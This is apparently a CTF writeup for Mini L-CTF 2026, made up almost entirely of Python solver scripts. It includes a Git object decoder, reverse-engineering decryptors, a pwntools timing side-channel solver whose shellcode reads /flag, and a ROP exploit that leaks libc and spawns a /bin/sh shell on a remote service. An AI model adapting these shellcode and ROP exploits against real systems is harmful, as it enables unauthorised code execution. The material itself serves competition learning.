Mini L-CTF 2026 题解 (writeup)

#!/usr/bin/env python3
import argparse
import base64
import sys
import zlib


def decode_input(text: str) -> bytes:
    b64 = "".join(text.strip().split())
    missing_padding = (-len(b64)) % 4
    if missing_padding:
        b64 += "=" * missing_padding

    try:
        compressed = base64.b64decode(b64, validate=True)
    except Exception as exc:
        raise ValueError(f"base64 decode failed: {exc}") from exc

    try:
        return zlib.decompress(compressed)
    except Exception as exc:
        raise ValueError(f"zlib decompress failed: {exc}") from exc


def split_git_object(data: bytes) -> tuple[str | None, int | None, bytes]:
    nul = data.find(b"\x00")
    if nul == -1:
        return None, None, data

    header = data[:nul]
    if not header.startswith(b"tree "):
        return None, None, data

    size_text = header[5:]
    if not size_text.isdigit():
        return None, None, data

    return "tree", int(size_text), data[nul + 1 :]


def parse_tree_entries(tree_data: bytes) -> list[tuple[str, str, str]]:
    entries: list[tuple[str, str, str]] = []
    pos = 0

    while pos < len(tree_data):
        space = tree_data.find(b" ", pos)
        if space == -1:
            raise ValueError(f"bad tree entry at offset {pos}: missing mode separator")

        nul = tree_data.find(b"\x00", space + 1)
        if nul == -1:
            raise ValueError(f"bad tree entry at offset {pos}: missing filename terminator")

        sha_start = nul + 1
        sha_end = sha_start + 20
        if sha_end > len(tree_data):
            raise ValueError(f"bad tree entry at offset {pos}: truncated sha1")

        mode = tree_data[pos:space].decode("ascii", errors="replace")
        name = tree_data[space + 1 : nul].decode("utf-8", errors="backslashreplace")
        sha1 = tree_data[sha_start:sha_end].hex()
        entries.append((mode, name, sha1))

        pos = sha_end

    return entries


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Decode base64+zlib Git tree object data and list its entries."
    )
    parser.add_argument(
        "data",
        nargs="?",
        help="base64 text. If omitted, the script reads from stdin.",
    )
    args = parser.parse_args()

    source = args.data if args.data is not None else sys.stdin.read()

    try:
        decoded = decode_input(source)
        object_type, declared_size, tree_data = split_git_object(decoded)
        entries = parse_tree_entries(tree_data)
    except ValueError as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 1

    print(f"decompressed length: {len(decoded)} bytes")
    if object_type is not None:
        print(f"git object type: {object_type}")
        print(f"declared tree length: {declared_size} bytes")
        print(f"actual tree length: {len(tree_data)} bytes")
        if declared_size != len(tree_data):
            print("warning: declared length does not match actual tree data length")
    else:
        print(f"tree length: {len(tree_data)} bytes")

    print(f"entries: {len(entries)}")
    for index, (mode, name, sha1) in enumerate(entries, 1):
        kind = "dir" if mode == "40000" else "file"
        print(f"{index}. mode={mode} type={kind} name={name} sha1={sha1}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

import struct

FNV_OFFSET = 0xCBF29CE484222325
FNV_PRIME = 0x100000001B3

def fnv1a_64(data):
    h = FNV_OFFSET
    for b in data:
        h = ((h ^ b) * FNV_PRIME) & 0xFFFFFFFFFFFFFFFF
    return h

def ror64(val, n):
    n &= 0x3F
    return ((val >> n) | (val << (64 - n))) & 0xFFFFFFFFFFFFFFFF

def generate_key(v85, v90):
    key = bytearray(16)
    for i in range(16):
        v92 = (v85 ^ ((v85 << 7) & 0xFFFFFFFFFFFFFFFF) ^
               ((v85 ^ ((v85 << 7) & 0xFFFFFFFFFFFFFFFF)) >> 9)) & 0xFFFFFFFFFFFFFFFF
        v93 = (v92 ^ ((v92 << 8) & 0xFFFFFFFFFFFFFFFF)) & 0xFFFFFFFFFFFFFFFF
        rot = (13 * (i // 13) - i + 61) & 0x3F
        v85 = (ror64((i + v93 - 0x5A5A5A5A5A5A5A5B) & 0xFFFFFFFFFFFFFFFF, rot) ^ v90) & 0xFFFFFFFFFFFFFFFF
        v94 = ror64(v85, 47)
        v90 = (v93 ^ v94) & 0xFFFFFFFFFFFFFFFF
        key[i] = (v85 ^ i ^ ((v85 >> 32) & 0xFF) ^ v93 ^ v94) & 0xFF
    return key

encrypted = bytes([
    0xD8, 0x6C, 0x54, 0x02, 0x5B, 0xDC, 0x3A, 0x82,
    0x0A, 0x1E, 0x1F, 0x84, 0xEA, 0x89, 0x5B, 0x09,
    0x81, 0x59, 0x91, 0xA1, 0xF9, 0x51, 0xAC, 0x55,
    0xCB, 0x9B, 0x50, 0xB5,
    0x0F, 0x77, 0xC1, 0x50, 0x4F, 0xB9, 0x76, 0x0B,
    0x6B, 0x8A, 0x59, 0xA1, 0xCC, 0xD4, 0xBA, 0x60,
])

def decrypt(encrypted, key):
    v95 = struct.unpack('<Q', key[0:8])[0] ^ 0x74696E7950524E47
    v96 = struct.unpack('<Q', key[8:16])[0] ^ 0x6B65797374726561
    result, v97, n61 = bytearray(44), 0xD8, 61
    for i in range(44):
        v100 = (v95 ^ v96) & 0xFFFFFFFFFFFFFFFF
        v101 = (v95 ^ v96 ^ ror64(v95, 40)) & 0xFFFFFFFFFFFFFFFF
        v96 = ror64(v100, 27)
        result[i] = (v97 ^ ((v101 + v96) & 0xFF) ^ n61) & 0xFF
        if n61 == 792: break
        v97 = encrypted[i + 1] if i + 1 < 44 else 0
        v95 = (v101 ^ ((v100 << 16) & 0xFFFFFFFFFFFFFFFF)) & 0xFFFFFFFFFFFFFFFF
        n61 += 17
    return bytes(result)

# The flag is revealed when both anti-debug checks report "hooked"
for maps_str in ["clean:maps", "hooked:maps"]:
    for token_str in ["clean:token", "hooked:token"]:
        v85 = fnv1a_64(maps_str.encode()) ^ 0xC0DEC0DE12345678
        v90 = fnv1a_64(token_str.encode()) ^ 0x9E3779B97F4A7C15
        key = generate_key(v85, v90)
        result = decrypt(encrypted, key)
        print(f"{maps_str} + {token_str} -> {result[:40]}")

import re
import struct
import hashlib
from pathlib import Path

base = Path("export-for-ai/memory/004E1000--004F1000.txt")

mem = {}
for line in base.read_text().splitlines():
    if "|" not in line:
        continue
    if not re.match(r"[0-9A-Fa-f]{16}", line):
        continue
    addr = int(line.split("|")[0].strip(), 16)
    bs = bytes.fromhex("".join(line.split("|")[1].split()))
    for i, b in enumerate(bs):
        mem[addr + i] = b

def get(addr, n):
    return bytes(mem[addr + i] for i in range(n))

def rol8(x, n):
    return ((x << n) | (x >> (8 - n))) & 0xff

def rol32(x, n):
    x &= 0xffffffff
    return ((x << n) | (x >> (32 - n))) & 0xffffffff

def transform(blob, op):
    if op == "P":
        return blob[6:] + blob[:6]
    if op == "A":
        return bytearray((x + 30) & 0xff for x in blob)
    if op == "L":
        return bytearray(rol8(x, 3) for x in blob)
    if op == "S":
        return bytearray((x - 102) & 0xff for x in blob)
    raise ValueError(op)

blob = bytearray(get(0x4E15C0, 0x480))
target_route = get(0x4E1A40, 16)
target_real = get(0x4E1A50, 16)

print("initial md5 =", hashlib.md5(blob).hexdigest())
print("route target =", target_route.hex())
print("real target  =", target_real.hex())

seq = "PSPLALPSALALPSALAS"
for c in seq:
    blob = transform(blob, c)

md5 = hashlib.md5(blob).digest()
print("sequence =", seq)
print("md5      =", md5.hex())
assert md5 == target_real

# Reimplement the decrypt branch at sub_402760.
k = list(struct.unpack(
    "<4I",
    struct.pack("<QQ", 0x85A308D3243F6A88, 0x0370734413198A2E),
))

for i, b in enumerate(blob):
    j = i & 3
    expr = (
        (k[(j + 1) & 3] << 6)
        + b
        - 1640531527
        + (k[(j + 3) & 3] >> 2)
    ) & 0xffffffff
    k[j] = rol32(k[j] ^ expr, ((j + i) & 7) + 5)

words = struct.unpack("<" + "I" * (len(blob) // 4), bytes(blob))
for i in range(4):
    k[i] ^= words[i + 16]
    k[i] &= 0xffffffff

print("derived key =", [hex(x) for x in k])

delta = 1640531527

v33 = (-1667878697) & 0xffffffff
n1548290277 = 1548290277
i = (-1914802624) & 0xffffffff

while i != ((-957401312) & 0xffffffff):
    v36 = (i + k[(i >> 11) & 3]) & 0xffffffff
    i = (i + delta) & 0xffffffff
    v33 = (
        v33
        - (
            v36
            ^ (
                n1548290277
                + (((n1548290277 >> 5) ^ ((16 * n1548290277) & 0xffffffff)) & 0xffffffff)
            )
        )
    ) & 0xffffffff
    n1548290277 = (
        n1548290277
        - (
            (i + k[i & 3])
            ^ (
                v33
                + (((v33 >> 5) ^ ((16 * v33) & 0xffffffff)) & 0xffffffff)
            )
        )
    ) & 0xffffffff

n187379157 = 187379157
v38 = (-1460295615) & 0xffffffff

while True:
    v39 = (i + k[(i >> 11) & 3]) & 0xffffffff
    i = (i + delta) & 0xffffffff
    n187379157 = (
        n187379157
        - (
            v39
            ^ (
                v38
                + (((v38 >> 5) ^ ((16 * v38) & 0xffffffff)) & 0xffffffff)
            )
        )
    ) & 0xffffffff
    v38 = (
        v38
        - (
            (i + k[i & 3])
            ^ (
                n187379157
                + (((n187379157 >> 5) ^ ((16 * n187379157) & 0xffffffff)) & 0xffffffff)
            )
        )
    ) & 0xffffffff
    if i == 0:
        break

flag = struct.pack("<4I", v38, n187379157, n1548290277, v33)
print("flag bytes =", flag.hex())
print("flag       =", flag.decode())

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import statistics
import time

from pwn import asm, context, process, remote


context.clear(arch="amd64", os="linux")
context.log_level = "error"


DEFAULT_ALPHABET = (
    "0123456789"
    "abcdefghijklmnopqrstuvwxyz"
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    "_{}-!@#$%^&*()+[]=,:;./?<>"
)


CONDITION_BRANCHES = {
    "eq": "jne done",  # hit if flag[index] == candidate
    "le": "ja done",   # hit if flag[index] <= candidate, unsigned byte compare
}


def build_payload(index: int, candidate: int, flag_path: str, condition: str) -> bytes:
    if condition not in CONDITION_BRANCHES:
        raise ValueError(f"unsupported condition: {condition!r}")

    path = flag_path.encode() + b"\x00"
    done_branch = CONDITION_BRANCHES[condition]
    code = f"""
        lea rdi, [rip + path]
        xor esi, esi
        xor edx, edx
        mov eax, 2
        syscall

        mov edi, eax
        lea rsi, [rsp - 0x100]
        mov edx, 0x80
        xor eax, eax
        syscall

        cmp byte ptr [rsi + {index}], {candidate}
        {done_branch}

    hit_loop:
        jmp hit_loop

    done:
        ret

    path:
        .byte {",".join(str(b) for b in path)}
    """
    payload = asm(code)
    if len(payload) > 256:
        raise ValueError(f"payload is too large: {len(payload)} bytes")
    return payload.ljust(256, b"\x90")


def query(
    args: argparse.Namespace, index: int, candidate: int, condition: str = "eq"
) -> float:
    payload = build_payload(index, candidate, args.path, condition)
    tube = remote(args.host, args.port) if args.host else process(args.binary)
    start = time.perf_counter()
    tube.send(payload)
    tube.recvn(1, timeout=args.timeout)
    elapsed = time.perf_counter() - start
    tube.close()
    return elapsed


def score(
    args: argparse.Namespace, index: int, candidate: int, condition: str = "eq"
) -> float:
    samples = [query(args, index, candidate, condition) for _ in range(args.repeat)]
    return statistics.median(samples)


def calibrate(args: argparse.Namespace) -> float:
    fast = score(args, 0, ord("\x00"))
    if args.known_prefix:
        slow = score(args, 0, ord(args.known_prefix[0]))
        threshold = (fast + slow) / 2
        print(
            f"[calibrate] fast={fast:.3f}s slow={slow:.3f}s threshold={threshold:.3f}s"
        )
    else:
        threshold = fast + 0.5
        print(f"[calibrate] fast={fast:.3f}s threshold={threshold:.3f}s")
    return threshold


def ordered_alphabet(alphabet: str) -> str:
    return "".join(sorted(set(alphabet), key=ord))


def recover_char(
    args: argparse.Namespace, index: int, alphabet: str, threshold: float
) -> tuple[str | None, str | None, float]:
    lo = 0
    hi = len(alphabet) - 1
    candidate_char = None
    best_char = None
    best_elapsed = 0.0

    while lo <= hi:
        mid = (lo + hi) // 2
        ch = alphabet[mid]
        elapsed = score(args, index, ord(ch), "le")
        if elapsed > best_elapsed:
            best_char = ch
            best_elapsed = elapsed

        if elapsed >= threshold:
            candidate_char = ch
            hi = mid - 1
        else:
            lo = mid + 1

    if candidate_char is None:
        return None, best_char, best_elapsed

    elapsed = score(args, index, ord(candidate_char), "eq")
    if elapsed > best_elapsed:
        best_char = candidate_char
        best_elapsed = elapsed

    if elapsed >= threshold:
        return candidate_char, best_char, best_elapsed
    return None, best_char, best_elapsed


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Timing side-channel solver using alarm(1)."
    )
    parser.add_argument("host", nargs="?", help="remote host")
    parser.add_argument("port", nargs="?", type=int, help="remote port")
    parser.add_argument("--binary", default="./pwn", help="local binary path")
    parser.add_argument("--path", default="/flag", help="flag path opened by shellcode")
    parser.add_argument(
        "--alphabet", default=DEFAULT_ALPHABET, help="candidate characters"
    )
    parser.add_argument(
        "--known-prefix",
        default="",
        help="known flag prefix used for calibration and skipping",
    )
    parser.add_argument(
        "--start", type=int, default=0, help="first flag offset to recover"
    )
    parser.add_argument("--max-len", type=int, default=80, help="maximum flag length")
    parser.add_argument(
        "--repeat", type=int, default=1, help="median samples per candidate"
    )
    parser.add_argument(
        "--timeout", type=float, default=1.5, help="recv timeout per query"
    )
    parser.add_argument(
        "--threshold", type=float, help="manual hit threshold in seconds"
    )
    args = parser.parse_args()

    if bool(args.host) != bool(args.port):
        parser.error("host and port must be supplied together")

    threshold = args.threshold if args.threshold is not None else calibrate(args)
    alphabet = ordered_alphabet(args.alphabet)
    if not alphabet:
        parser.error("alphabet must not be empty")

    flag = ""
    if args.start == 0 and args.known_prefix:
        flag = args.known_prefix
        start = len(flag)
        print(flag, end="", flush=True)
    else:
        start = args.start

    for index in range(start, args.max_len):
        ch, best_char, best_elapsed = recover_char(args, index, alphabet, threshold)
        if ch is None:
            print(
                f"\n[stop] no hit at offset {index}, best={best_char!r} {best_elapsed:.3f}s"
            )
            break

        flag += ch
        print(ch, end="", flush=True)

        if flag.endswith("}"):
            print()
            break

    print(f"[flag] {flag}")


if __name__ == "__main__":
    main()

"""
Exploit script for competitions.Mini_L-CTF.2026.problems.Pwn.1byte
by SigAurelia, affiliated with Project Hazelita
"""

from pwn import *

exe = ELF("./pwn")
libc = ELF("/home/lycecilion/glibc-all-in-one/libs/2.39-0ubuntu8.7_amd64/libc.so.6")

# fmt: off
context.arch = 'amd64' 
context.binary = exe
context.terminal = ["wt.exe", "nt", "--title", "pwndbg", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
context.log_level = "debug"
# context.log_level = "info"

# io = process([exe.path])
io = remote("127.0.0.1", 46035)

context.gdb_binary = "/home/lycecilion/.nix-profile/bin/pwndbg"
# gdb.attach(
#     io,
#     gdbscript="""
#     b *main
# """,
# )
# fmt: on

POP_RDI_ADDR = 0x401314
POP_RSI_ADDR = 0x401316
POP_RDX_ADDR = 0x401318
RET_ADDR = 0x401315

# Round I
io.sendlineafter(b"Where would you like to start?\n> ", b"-8")
io.sendlineafter(b"What's the length?\n> ", b"-1")
PAYLOAD_1 = flat(POP_RDI_ADDR, 1, POP_RSI_ADDR, exe.got["read"], POP_RDX_ADDR, 8, exe.plt["write"], exe.sym["main"])
io.sendafter(b"Let's go\n> ", PAYLOAD_1)
READ_ADDR = u64(io.recvn(8))
log.info(f"read ADDRESS LEAKED: {READ_ADDR:#x}")

# Libc
libc.address = READ_ADDR - libc.sym["read"]
log.success(f"libc BASE ADDRESS CALCULATED: {libc.address:#x}")
BIN_SH_STRING = next(libc.search(b"/bin/sh\x00"))
SYSTEM_ADDR = libc.sym["system"]

# Round II
io.sendlineafter(b"Where would you like to start?\n> ", b"-8")
io.sendlineafter(b"What's the length?\n> ", b"-1")
PAYLOAD_2 = flat(POP_RDI_ADDR, BIN_SH_STRING, RET_ADDR, SYSTEM_ADDR)
io.sendafter(b"Let's go\n> ", PAYLOAD_2)

io.interactive()